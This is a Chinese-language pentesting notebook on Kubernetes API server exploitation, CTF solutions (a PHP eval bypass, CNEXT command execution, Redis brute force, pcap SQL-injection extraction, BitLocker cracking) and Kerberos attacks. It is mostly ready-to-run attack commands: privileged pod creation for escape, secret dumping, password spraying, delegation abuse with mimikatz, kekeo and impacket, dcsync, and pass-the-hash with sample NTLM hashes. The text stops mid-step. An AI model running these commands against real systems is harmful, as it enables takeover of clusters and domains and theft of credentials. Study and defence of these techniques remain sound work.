组件未授权ApiServer未授权访问提供了资源操作的唯一入口，并提供认证、授权、访问控制、API注册和发现等机制K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port)，8080 端口提供 HTTP 服务，没有认证授权机制，而 6443 端口提供 HTTPS 服务，支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动，而 6443 端口启动。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。如果目标 K8s 的 8080 端口开启了，由于其没有认证授权机制，因此存在未授权访问。如果目标 K8s 的 6443 端口开启了，如果配置错误，也可以导致存在未授权访问。有API server未授权：可控所有k8s资源可获取几乎所有容器的交互式shell利用一定技巧可获取所有容器母机的交互式shell8080端口：设置后重启systemctl restart kubectl 访问后可以得到如6443端口：如果配置不当，将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组，则会使得 6443 端口允许匿名用户以管理员权限访问，向集群内下发指令。正常情况下访问 6443 端口，提示 Forbidden。执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous利用的话先要安装kubectl：#查询最新版本号 proxychains curl -s https://dl.k8s.io/release/stable.txt 下载 proxychains curl -LO https://dl.k8s.io/release/v1.33.3/bin/linux/amd64/kubectl chmod +x kubectl mv kubectl /usr/local/bin/利用：命令也行，get pods啥的获取信息也可以http://1.1.1.1:8080/api/v1/namespaces/default/pods?limit=100#直接访问api查看集群信息 kubectl -s http://1.1.1.1:8080 cluster-info 查看node节点信息以及pod信息 kubectl -s http://1.1.1.1:8080 get nodes kubectl -s http://1.1.1.1:8080 get pods 查看node和pod的详细信息 kubectl -s http://1.1.1.1:8080 get nodes -o wide kubectl -s http://1.1.1.1:8080 describe pod escaper 如果命名空间不在default 可以指定-n <namespace> 进入到escaper kubectl -s http://1.1.1.1:8080 exec -n default -it escaper -- /bin/bash 下面是扩展的命令： kubectl get pods #查询Pod kubectl get pods -n namespace #查询指定命名空间的Pod kubectl get pods --all-namespaces #查询所有命名空间的Pod kubectl describe pod pod-name #查询Pod的详细信息 kubectl get serviceaccount #查询服务账户详情 kubectl create serviceaccount account-name #创建服务账户 kubectl config view 打印出kubeconfig #配置内容 kubectl get rolebinding -n namespace #查看rbac权限设置 kubectl describe role role-name -n namespace #查看角色所绑定的规则 kubectl exec -it pod-name -c container-name -- /bin/bash #进入指定Pod的容器内部 kubectl cp pod-name:container-path local-path #从容器内复制文件到本地 kubectl get deployment #查询Deployment的信息 kubectl scale deployment deployment-name --replicas=3 #扩容/缩容Deployment的Pod数量 kubectl rollout restart deployment deployment-name #重启Deployment管理的所有Pod kubectl apply -f file.yaml #应用YAML配置文件 kubectl -s http://<ip>:<port> cluster-info # 查看集群信息 kubectl -s http://<ip>:<port> get nodes -o wide # 获取所有节点及详细信息 kubectl -s http://<ip>:<port> get pods -A # 获取所有命名空间下的 Pods kubectl -s http://<ip>:<port> get namespaces # 列出所有命名空间 kubectl -s http://<ip>:<port> get svc -A # 列出所有服务 kubectl -s http://<ip>:<port> get deployments -A # 查看部署信息 kubectl -s http://<ip>:<port> get daemonsets -A # 查看 DaemonSets kubectl -s http://<ip>:<port> get statefulsets -A # 查看 StatefulSets kubectl -s http://<ip>:<port> get configmap -A # 配置数据可能含凭证 kubectl -s http://<ip>:<port> get secrets -A # ⚠️ 尝试读取密钥（敏感） kubectl -s http://<ip>:<port> describe node <node-name> kubectl -s http://<ip>:<port> describe pod <pod-name> -n <namespace> kubectl -s http://<ip>:<port> describe svc <svc-name> -n <namespace> kubectl -s http://<ip>:<port> describe secret <secret-name> -n <namespace> kubectl -s http://<ip>:<port> exec -n <ns> -it <pod> -- /bin/bash # 交互式Shell kubectl -s http://<ip>:<port> exec -n <ns> <pod> -- cat /etc/passwd # 执行命令 kubectl -s http://<ip>:<port> cp <ns>/<pod>:<容器路径> <本地路径> # 拷贝容器文件可以执行命令之后如果有什么逃逸就可以操作了更可以直接用api创建一个特权容器，然后挂载逃逸创建一个名为 pwned 的 Pod，使用 alpine 镜像，开启特权权限：{ "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "pwned", "namespace": "default" }, "spec": { "containers": [ { "name": "pwned", "image": "alpine", "command": ["sleep", "3600"], "securityContext": { "privileged": true } } ], "hostNetwork": true, "hostPID": true, "restartPolicy": "Never" } }发送curl -X POST http://1.1.1.1:8080/api/v1/namespaces/default/pods \ -H "Content-Type: application/json" \ -d @pwned.json还是用exec执行命令好一些，他好像是ws不太好弄kubectl -s http://1.1.1.1:8080 exec -n default -it pwned -- /bin/sh先到这后面慢慢补吧。。。。。。
WEB-phpms网站git泄露，通过githacker 下载.git目录，执行git log --all ，来查看所有分支上的提交记录，包括stash可以看到有一暂存的修改，通过git diff或者工具可以看到index.php的代码<?php $shell = $_GET['shell']; if(preg_match('/\x0a|\x0d/',$shell)){ echo ':('; }else{ eval("#$shell"); } ?>这里会将用户传参的shell参数拼接#作为代码执行，但是不允许换行。绕过换行和注释符的过滤，执行php代码。#作为php的单行注释符，在遇到?>会强制结束PHP模式，使得后续代码被当作新代码块执行。所以传参?shell=?><?php echo 11111;即可绕过注释执行代码。进一步利用发现，禁用了除index用到的preg_match以外的所有函数(disable_function)。这里的思路是利用php原生类进行下一步利用。例如：$context = new SplFileObject('/etc/passwd'); foreach($context as $f){ echo($f); }passwd中可以看到redis，后面是对redis进行利用。但是常见ctf题目中利用SoapClient进行ssrf的操作并不可行，一方面靶机没有安装soap拓展，而且SoapClient会提示只支持http/https协议。利用SplFileObject配合CNEXT (CVE-2024-2961)进行命令执行，爆破reids密码。利用$context = new SplFileObject('file:///proc/self/maps'); foreach($context as $f){ echo($f); } $context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so'); foreach($context as $f){ echo($f); }读取maps和libc，利用https://github.com/kezibei/php-filter-iconv项目进行命令执行，执行无回显，将结果写入/tmp/tmpp.txt暂存。可以看到redis需要密码认证。这里构造echo AUTH password | redis-cli -h 127.0.0.1 -p 6379 --raw | grep -q '^OK$' && echo password >> /tmp/pass.txt进行爆破，利用密码正确与否的不同回显，将正确密码写入tmp读取/tmp/pass.txt从reids中get flagecho "auth admin123\nkeys *\nget flag" | redis-cliMISC-一把嗦分析流量包，找到二次注入的流量规律。请求包：一次注册，一次登录，一次查看信息。响应包：如果响应包存在“您还不是VIP用户啊”说明sql注入后面的判断错误，正确应该是“您是尊贵的VIP用户”，如：1300 16 200 text/html; charset=UTF-8 3c21444f43545950452068746d6c3e0d0a3c68746d6c3e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d227574662d38223e0d0a202020203c7469746c653ee4ba91e79b98e4b88be8bdbde7ab993c2f7469746c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a202020203c646976207374796c653d22746578742d616c69676e3a72696768743b223e0d0a202020203c666f726d206d6574686f643d22706f737422207374796c653d22646973706c61793a696e6c696e653b223e0d0a20202020202020203c627574746f6e206e616d653d22636865636b5f696e666f223ee68891e79a84e4bfa1e681af3c2f627574746f6e3e0d0a202020203c2f666f726d3e0d0a202020207c203c6120687265663d223f6c6f676f75743d31223ee98080e587ba3c2f613e0d0a3c2f6469763e0d0a3c70207374796c653d27636f6c6f723a677265656e3b273ee682a8e698afe5b08ae8b4b5e79a84564950e794a8e688b73c2f703e3c6120687265663d27696e6465782e706870273ee8bf94e59b9e3c2f613e所以定位到响应包中存在“您是尊贵的VIP用户”的流量帧号，前面便是正确的sql注入信息。利用tshark提取流量请求和响应，便于分析tshark -r 1.pcapng -Y "http.request.method == \"POST\"" -T fields -e frame.number -e frame.time_relative -e http.host -e http.request.uri -e http.file_data > req.txt tshark -r 1.pcapng -Y "http.response" -T fields -e frame.number -e tcp.stream -e http.response.code -e http.content_type -e http.file_data > res.txt编写脚本，统计二次注入信息import binascii import urllib.parse import re def parse_request_file(filename): request_dict = {} ordered_requests = [] with open(filename, 'r', encoding='utf-8') as file: for line in file: parts = line.strip().split('\t') if len(parts) >= 5: frame_number = int(parts[0]) request_dict[frame_number] = { "timestamp": parts[1], "ip": parts[2], "path": parts[3], "hexdata": parts[4] } ordered_requests.append(frame_number) ordered_requests.sort() return request_dict, ordered_requests def find_all_vip_frames(response_filename): vip_keyword = "您是尊贵的VIP用户" vip_frames = [] with open(response_filename, 'r', encoding='utf-8') as file: for line in file: parts = line.strip().split('\t') if len(parts) >= 5: try: frame_number = int(parts[0]) hex_data = parts[4] if "MISSING" in hex_data: continue decoded_data = binascii.unhexlify(hex_data).decode('utf-8', errors='ignore') if vip_keyword in decoded_data: vip_frames.append((frame_number, decoded_data)) except Exception as e: print(f"解码出错：{e}") continue return vip_frames def find_previous_request_frame(target_frame, request_ordered_list): previous_frames = [f for f in request_ordered_list if f < target_frame] return previous_frames[-1] if previous_frames else None def extract_ascii_char(request_content): """ 从请求内容中匹配类似 unicode(substr((SELECT password FROM users WHERE username='admin'),2,1))=97 的数字，并转成对应ASCII字符。 """ pattern = r"unicode\(substr\(.*?,(\d+),1\)\)=([0-9]+)" match = re.search(pattern, request_content) if match: pos = int(match.group(1)) ascii_code = int(match.group(2)) return pos, chr(ascii_code) else: return None, None # 文件路径 response_file = r"res.txt" request_file = r"req.txt" request_dict, request_ordered_list = parse_request_file(request_file) vip_results = find_all_vip_frames(response_file) # 用 dict 记录密码每个位置字符，方便排序输出 password_chars = {} if vip_results: print(f"共找到 {len(vip_results)} 个包含“您是尊贵的VIP用户”的响应：\n") for vip_frame, _ in vip_results: suspected_request_frame = vip_frame - 2 previous_frame = find_previous_request_frame(suspected_request_frame, request_ordered_list) if previous_frame and previous_frame in request_dict: req = request_dict[previous_frame] try: decoded_data = binascii.unhexlify(req['hexdata']).decode('utf-8', errors='ignore') url_decoded_data = urllib.parse.unquote(decoded_data) except Exception as e: url_decoded_data = f"<解码失败: {e}>" pos, char = extract_ascii_char(url_decoded_data) if pos is not None and char is not None: password_chars[pos] = char print(f"响应帧号：{vip_frame}") print(f"→ 匹配请求帧号：{previous_frame}") print(f"请求时间戳：{req['timestamp']}") print(f"请求路径：{req['path']}") print(f"请求内容（解码+URL解码）：{url_decoded_data}") if pos is not None and char is not None: print(f"提取到密码第 {pos} 位字符：{char}") print("=" * 60) else: print(f"响应帧号 {vip_frame} 无对应请求。") # 根据位置排序输出完整密码 if password_chars: password = ''.join(password_chars[i] for i in sorted(password_chars)) print(f"\n二次注入的flag为：{password}") else: print("没有找到包含“您是尊贵的VIP用户”的响应。")得到flag：REFTQ1RGezk0OGU0Yzg5LTNlMmQtNDllOS04base64解码：DASCTF{948e4c89-3e2d-49e9-8导出流量中secret.7z文件，爆破vmdk BitLocker密码。复制后base64解码，解压得到secret.vmdk。R-Studio挂载可以看到BitLocker加密信息这里用john配合hashcat爆破：bitlocker2john.exe -i secret.vmdk hashcat -m 22100 1.txt "rockyou.txt" --showjohn得：$bitlocker$0$16$e6e8a55def80a26b3ce0d61b9d112f0f$1048576$12$60a60ae688d4db0103000000$60$0dae77d4126cc7ebdd60b1abf8e2608e30e32c8c06ba18d9bbbf2619369059a8c195beede76c174e1403501c41714c00ce51e0540ec48b10b03b51bf密码：esternocleidomastoideo挂载后可以看到一个5000+3000.txtAAencode解码+rot800081a-4ba1ae5dde7e}
Kerberos协议认证流程kerberos 是一种由MIT(麻省理工大学)提出的一种网络身份验证协议，它旨在通过使用加密技术为客户端/服务端应用程序提供强大的认证服务。kerberos协议中主要由三个角色：（1）访问服务的client（一下表述为Client或者用户）（2）提供服务的server（一下表述为服务）（3）KDC（Key Distribution Center）密钥分发中心其中KDC服务默认会安装在一个域的域控中，而Client和Server为域内的用户或者是服务，如HTTP服务，SQL服务，远程桌面服务。在kerberos中Client是否有权限访问Server端的服务有KDC发放的票据决定。协议过程：(1)、ASREQ：Client向KDC发起ASREQ请求内容为：明文形式的用户名、通过Client密码Hash 后加密的时间戳、ClientID、网络地址、加密类型等内容。(2)、AS_REP：当KDC接收到请求之后，通过AD获取该用户的信息。通过获取的密码信息生成一个秘钥 对Authenticator进行解密。如果解密后的内容和已知的内容一致，则证明请求着提供的密码正确， 即确定了登录者的身份。AS成功认证对方的身份之后，会先生成一个用于确保该用户和KDC之间通信安全的会话秘钥——Logon Session Key，并采用该用户密码派生的秘钥进行加密。KAS接着为该用户创建“认购权证”——TGT。TGT主要包含两方面的内容：用户相关信息和Logon Session Key，而 整个TGT则通过KDC自己的密钥进行加密。最终，被不同密钥加密的Logon Session Key和TGT返回给客户端。(3)、TGSREQ：Client凭借TGT票据向KDC发起针对特定服务的TGSREQ请求，该请求主要包含如下的内容：客户端用户名、通过Logon Session Key加密的Authenticator、TGT和访问的服务器（其实是服务名）。(4)、TGS_REP：KDC使用 NTLM-hash进行解密获取Logon Session Key，然后通过Logon Session Key 解密Authenticator，进而验证了对方的身份。TGS完成对客户端的认证之后，会生成一个用于确保客户端-服务器之间通信安全的会话秘钥——Service Session Key，该会话秘钥通过Logon Session Key进行加密。然后出售给客户端需要的入场券——ST。ST主要包含两方面的内容：客户端用户信息和Service Session Key，整个ST通过服务器密码派生的秘钥进行加密。最终两个被加密的Service Session Key和ST回复给客户端。(5)、AP_REQ：Client拿着TGS票据去请求服务，但是，服务端在接收到ST之后，如何确保它是通过TGS购买，而不是自己伪造的呢？这很好办，不要忘了ST是通过自己密码派生的秘钥进行加密 的。 具体的操作过程是这样的，除了ST之外，服务请求还附加一份通过Service Session Key加密的 Authenticator。(6)、AP_REP：服务器在接收到请求之后，先通过自己密码派生的秘钥解密ST，并从中提取Service Session Key。然后通过提取出来的Service Session Key解密Authenticator，进而验证了客户端的身份。现在服务器已经可以确保客户端是它所声称的那么用户，客户端还没有确认它所访问的不是一个钓鱼服务呢。为了解决客户端对服务器的验证，服务要需要将解密后的Authenticator再次用Service Session Key进行加密，并发挥给客户端。客户端再用缓存的Service Session Key进行解密，如果和之前的内容完全一样，则可以证明自己正在访问的服务器和自己拥有相同的ServiceSession Key，而这个会话秘钥不为外人知晓。解出来之后服务器会得到一个账户的PAC，然后服务器会就拿着PAC去KDC那边问Client有没有访问权限，域控解密PAC。获取Client的sid，以及所在的组，再根据该服务的ACL，判断Client是否有访问服务的权限。PAC的全称是Privilege Attribute Certificate（特权属证书）。不同的账号有不同的权限，PAC就是为了区别不同权限的一种方式。TGT：认证票据（购票许可证）TGS：票据发放服务TGS tikcet：服务票据 后面简称ST（Service ticket，入场券）委派在Windows 2000 Server首次发布Active Directory时，Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“ Kerberos双跳问题”，并且要求进行委派，以便Web Server在修改数据库记录时模拟用户。需要注意的一点是接受委派的用户只能是服务账户或者计算机用户。非约束委派Microsoft在Windows 2000中实现了Kerberos“不受约束的委托”，从而启用了这种级别的委托。非约束的委派，那么Server可以接受任何用户的委派的去请求其他所有服务。一个经典例子：参考Y4erjack需要登陆到后台文件服务器，经过Kerberos认证的过程如下：jack以Kerberos协议认证登录，将凭证发送给websvc。而该websvc服务会将用户的TGT缓存到LSASS以备下次重用。websvc使用jack的凭证向KDC发起Kerberos申请TGT。KDC检查websvc的委派属性，如果websvc可以委派，则返回可转发的jack的TGT。websvc收到可转发TGT之后，使用该TGT向KDC申请可以访问后台文件服务器的TGS票据。KDC检查websvc的委派属性，如果可以委派，并且权限允许，那么返回jack访问服务的TGS票据。websvc使用jack的服务TGS票据请求后台文件服务器。这里就相当于说 jack 登录到web服务器后 访问后台文件服务器 是没有权限的 后台服务器以为是websvc在访问它，但如果websvc设置了委派 就可以以jack的身份去访问后台这样 就有权限访问 这个时候websvc也可以使用jack的身份访问其他jack有权限访问的服务约束委派微软很早就意识到非约束委派并不是特别安全，在 Windows 2003上发布了"约束"委派。其中包括一组 Kerberos 协议扩展： S4U2Self 和 S4U2Proxy。S4U2proxy限制了对发送给受委派的服务去访问其他服务，不允许受委派的服务代表用户使用这个TGT去访问任意服务，而是只能访问指定的服务。配置它后，约束委派将限制指定服务器可以代表用户执行的服务。这需要域管理员特权(其实严谨一点是SeEnableDelegation特权，该特权很敏感，通常仅授予域管理员)才能为服务配置域帐户，并且将帐户限制为单个域。S4U2self允许受约束委派的服务代表任意用户向KDC请求服务自身，从而获得一张该用户（任意用户）的对当前受约束委派服务的票据TGS(ST)，该服务票据TGS(ST)包含了用户的相关信息，比如该用户的组信息等。S4U2proxy允许受约束委派的服务通过服务票据ST，然后代表用户去请求指定的服务。比如：计算机用户(既JACKSON-PC$) 被配置了约束的委派，那么JACKSON-PC$可以接受任何用户的委派的去请求特定的服务。具体过程是收到用户的请求之后，首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF)，拿着这个票据向KDC请求访问特定服务的可转发的TGS(S4U2PROXY)，并且代表用户访问特定服务，而且只能访问该特定服务。相较于非约束委派，约束委派最大的区别也就是配置的时候选择某个特定的服务，而不是所有服务。基于资源的约束委派为了配置受约束的委派，必须拥有SeEnableDelegation特权，该特权很敏感，通常仅授予域管理员。为了使用户/资源更加独立，Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。与约束委派最大的不同点，就是”基于资源”这四个字，如何理解”基于资源”？在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性，而操作权落在了当前登录的机器或者用户的手中传统的约束委派是正向的，通过修改服务A的属性msDS-AlowedToDelegateTo，添加服务B的SPN，设置约束委派对象（服务B)，服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。而基于资源的约束委派则是相反的，通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity，添加服务A的SID，达到让服务A模拟用户访问B资源的目的。PACPAC（Privilege AttributeCertificate）特权访问证书PAC整体的结构上是一个AuthorizationData的结构AuthorizationData ::= SEQUENCE OF SEQUENCE { ad-type [0] Int32, ad-data [1] OCTET STRING }AuthorizationData结构的ad-type主要有以下几个AD-IF-RELEVANT 1 AD-INTENDED-FOR-SERVER 2 AD-INTENDED-FOR-APPLICATION-CLASS 3 AD-KDC-ISSUED 4 AD-AND-OR 5 AD-MANDATORY-TICKET-EXTENSIONS 6 AD-IN-TICKET-EXTENSIONS 7 AD-MANDATORY-FOR-KDC 8 Reserved values 9-63 OSF-DCE 64 SESAME 65 AD-OSF-DCE-PKI-CERTID 66 (hemsath @us.ibm.com) AD-WIN2K-PAC 128 (jbrezak @exchange.microsoft.com) AD-ETYPE-NEGOTIATION 129 (lzhu @windows.microsoft.com)针对于伪造白银票据这种情况，微软引入了一个特权访问证书的安全机制，开启之后会在第二步TGS发送给客户端的ST票据中插入一段PAC信息，该信息包括了客户端的用户SID（域名+用户ID），用户所在组信息等等，具体可以参考上面的PAC结构。接着服务端AP接受到客户端的ST票据之后会取出其中的PAC内容，并拿去KDC质询，这个PAC是KDC加密的，客户端在只知道服务端密钥的情况下是无法伪造的KDC收到客户端的PAC之后将其解密获取其中的用户SID并在AD（AcountDatabase）里面查询对应的用户，接着KDC将该用户与服务器的ACL进行对比，查看该用户是否有权限访问对应的服务，最后KDC验证成果之后才会给服务端返回质询结果，服务端才会完全详细客户端，并开始Kerberos认证最后一步操作这里PAC出了一个严重漏洞：MS14068，补丁编号是KB3011780，域里面最严重的漏洞之一，它允许任意用户提升到域管权限。安全问题黄金、白银票据黄金票据：在从AS获取TGT的过程中，TGT是用Krbtgt hash加密的，如果获取到了Krbtgt 的 NTLM-Hash 值，就可以给我们自己签发任意用户的TGT票据，访问整个域内机器。黄金票据在利用过程中由 KDC颁发 TGT，并且在生成伪造的 TGT 得 20 分钟内，TGS 不会对该 TGT 的真伪进行验证。白银票据：TGS ticket的encpart是使用Server hash进行加密的，如果我们拥有服务的hash，就可以给我们自己签发任意用户的TGS票据相较于黄金票据，白银票据使用要访问服务的hash，而不是krbtgt的hash，由于生成的是tgs票据，不需要跟域控打交道，但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用。伪造黄金票据能长期有效。Kerberos 默认 TGT 的有效期是 10 小时，但攻击者可以伪造一个100 年不死的 TGT。只要域控验证时仍然使用旧的 krbtgt 密钥，这个票就永远有效。要想作废这个黄金票据，需要轮换 两次 krbtgt 密码。为什么是两次？因为域控保留两个 krbtgt 密钥用于票据验证：当前+上一个。也就是说，当你轮换了一次密码，域控现在使用新 krbtgt 密钥签发 TGT，但为了兼容那些“旧的未过期票据”，它仍然能用旧的密钥验证。白银票据隐蔽性好，因为TGS ticket是直接交给目标服务的，没有 KDC 请求记录AS-REPRoasting对于域用户，如果设置了选项”Do not require Kerberos preauthentication”，此时向域控制器的88端口发送AS_REQ请求，对收到的AS_REP内容(enc-part底下的ciper，因为这部分是使用用户hash加密session-key，我们通过进行离线爆破就可以获得用户hash)重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令可以用impacket的GetNPUsers用户枚举在AS_REQ过程中传递的用户信息在AD中存在与否，AS给返回的状态信息不一致，存在的用户还会额外返回e-data数据错误代码错误名称含义用户是否存在？6KDC_ERR_C_PRINCIPAL_UNKNOWN客户端用户名不存在❌ 不存在7KDC_ERR_S_PRINCIPAL_UNKNOWN目标服务未知（通常不出现在 AS 阶段）-16KDC_ERR_ETYPE_NOSUPP加密类型不支持✅ 存在24KDC_ERR_PREAUTH_REQUIRED需要预身份验证✅ 存在25KDC_ERR_PREAUTH_FAILED预身份验证失败（例如时间戳校验失败）✅ 存在27KDC_ERR_CLIENT_REVOKED用户被禁用 / 锁定✅ 存在32KDC_ERR_POLICY由于策略限制（例如仅限智能卡登录）✅ 存在所以用户名存在，密码错误的情况下KDC_ERR_PREAUTH_FAILED，用户名不存在KDC_ERR_C_PRINCIPAL_UNKNOWNkerbrute指定dc建议加上，不加有概率会卡死kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d lab.ropnop.com usernames.txtpyKerbrutepython2 EnumADUser.py 10.10.10.10 de1ay.com usernames.txt tcp密码喷洒Password Spraying密码喷洒其实就是密码复用，当获得了一个账号的明文密码之后，那用这个密码去尝试全域里所有账号DomainPasswordSprayps脚本Invoke-DomainPasswordSpray -Password Spring2017 # 调用内置用户字典 Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt kerbrutekerbrute_windows_amd64 passwordspray -d de1ay.com domain_users.txt 1qaz@WSXpyKerbrutepy版本支持使用hash传递进行尝试python2 ADPwdSpray.py 10.10.10.10 de1ay.com user.txt clearpassword 1qaz@WSX tcp python2 ADPwdSpray.py 10.1.1.1 hack.com user.txt ntlmhash 161cff084477fe596a5db81874498a24 tcp pass the ticketKerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外，其他的步骤的验证都是通过票据，这个票据 可以是TGT票据或者TGS票据。因为票据里面的内容主要是session_key和ticket(使用服务hash加密的，服务包括krbtgt)，拿到票据之后。我们就可以用这个票据来作为下阶段的验证了。非约束委派攻击查询域内设置了非约束委派的机器账户：因为配置非约束的委派的账户的UserAccount 配置了TRUSTED_FOR_DELEGATION flag位，TRUSTED_FOR_DELEGATION 对应是 0x80000 ，也就是 524288 。（域内域控机器账户默认设置了非约束委派）查询域内设置了非约束委派的机器账户 AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn通过一定手段拿下这台配置了非约束委派的账户的权限(比如这里面的JACKSON-PC$)通过一定手段(比如通过打印机的那个漏洞)诱导域管访问我们拿下的配置了非约束委派的账户最后导出票据然后进行pass the ticket使域管理员访问被控机器非约束委派的安全问题就是如果我们找到配置了非约束的委派的账户，比如这里面的JACKSON-PC$，并且通过一定手段拿下该账户的权限，然后诱导域管访问该JACKSON-PC$，这个时候域管会将自己TGT发送到JACKSON-PC$并缓存到LSASS中，那我们就可以从LSASS中导出域管的TGT票据，然后通过PTT，从而拥有域管的权限。查询域内设置了非约束委派的机器账户 AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn让域控访问web：在域控上执行net use \\web.haishi.com重新导出票据mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exitmimikatz导入票据 mimikatz.exe "kerberos::ptt [0;36eb98]-2-0-60a10000-Administrator@krbtgt-HAISHI.COM.kirbi" "exit"此时可以访问dir \\DC.aaa.com\c$清除票据kerberos::purge利用打印机漏洞强迫运行打印服务（Print Spooler）的主机向目标主机发起 Kerberos 或 NTLM 认证请求。查询域控是否开启打印机sc query spoolerhttps://github.com/leechristensen/SpoolSample/需要使用域用户运行SpoolSample，runas /user:haishi.com\many powershell 打开一个域用户权限的powershell然后在与用户的powershell运行SpoolSample.exe dc web然后导出票据mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit导入票据 mimikatz.exe "kerberos::ptt [0;af1f8]-0-0-60a50000-DC$@cifs-dc.haishi.com.kirbi" "exit" 导出hash mimikatz.exe "lsadump::dcsync /domain:haishi.com /user:haishi\Administrator" "exit"这里可以利用利用wmiexec.py远程登录 python3 wmiexec.py -hashes :fb4f3a0d0b8c4d81d72d36b925dbed6c haishi.com/administrator@10.150.127.166 -no-pass约束委派攻击相较于非约束的委派，约束的委派并不需要用户过来访问就可以代表该用户，但是只能访问特定的服务。查询配置了约束的委派的服务账户1： 因为配置约束的委派的机子的UserAccount 配置了TRUSTED_TO_AUTH_FOR_DELEGATION flag位，TRUSTED_TO_AUTH_FOR_DELEGATION 对应是 0x1000000 ，也就是 1677721 AdFind.exe -b "DC=haishi,DC=com" -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" dn 找到该服务账号委派1委派的服务账户2： 约束的资源委派，除了配置TRUSTED_TO_AUTH_FOR_DELEGATION 之外，还有个地方是存储对哪个spn 进行委派的，位于msDS-AllowedToDelegateTo ，查询该服务账号的msDS-AllowedToDelegateTo位 AdFind.exe -b "DC=haishi,DC=com" -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo通过一定手段拿下这个服务账户1发起一个从服务1到服务2的正常的约束委派的流程，从而访问服务2使用机器账户WEBadministrator权限获取配置了约束委派的服务账户或者机器账户的凭据 明文密码 hash都可先拿到WEB的票据mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"使用kekeo申请服务票据kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-2-40e10000-WEB$@krbtgt-HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"导入票据mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"导入之后 就能访问了使用机器账户的hash先获取机器账户的hashmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"请求票据kekeo.exe "tgt::ask /user:WEB$ /domain:haishi.com /NTLM:48b1ee6132349190ee7c47d4b5d91608" "exit"# 申请administrator权限的票据 kekeo.exe "tgs::s4u /tgt:TGT_WEB$@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"然后导入票据mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.# 访问 dir \\DC.haishi.com\c$用机器账户的hash 远程wmiexec登录利用之前获取到的hash48b1ee6132349190ee7c47d4b5d91608用getST申请服务票据python3 getST.py -dc-ip 10.150.127.166 -spn CIFS/DC.haishi.com -impersonate administrator haishi.com/WEB$ -hashes :48b1ee6132349190ee7c47d4b5d91608然后导入票据export KRB5CCNAME=administrator.ccache //设置环境变量 python3 wmiexec.py -k haishi.com/administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166这里有个小tips需要将域名加入到hosts，不然会报错使用服务账户many这里直接用密码，先申请tgtkekeo.exe "tgt::ask /user:many /domain:haishi.com /password:asd123! /ticket:many.kirbi" "exit"然后伪造其他用户 申请tgs票据kekeo.exe "Tgs::s4u /tgt:TGT_many@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:administrator@haishi.com /service:cifs/DC.haishi.com" "exit"导入票据mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"然后访问dir \\dc.haishi.com\c$基于资源的约束性委派基于资源的约束委派具有传统的约束委派的所有安全问题，但是相较于传统的约束委派。基于资源的约束委派的利用又相对较为简单。利用https://xz.aliyun.com/news/11001利用方式1：基于资源的约束委派攻击本地提权实验环境中 如果获取到了many的权限 就可以用这个用户的权限进行本地提权了利用many域用户创建一个机器账户(每个域用户默认可以创建10个)然后修改WEB的msDS-AllowedToActOnBehalfOfOtherIdentity 为新创建的机器用户的sid然后利用机器账户申请票据 进行提权创建机器用户利用Powermad.ps1创建一个test1机器用户 密码123456powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)这里需要注意 如果powershell设置了约束模式 则需要 bypass才能导入 这些powershell脚本机器账户创建之后利用powerView查询机器账户的sid(也可手动)Get-NetComputer test1 -Properties objectsidtest1 sid：S-1-5-21-1400638014-602433399-2258725660-1148设置委派 修改WEB的msds-allowedtoactonbehalfofotheridentity的值利用powerViewpowershell Set-ExecutionPolicy Bypass 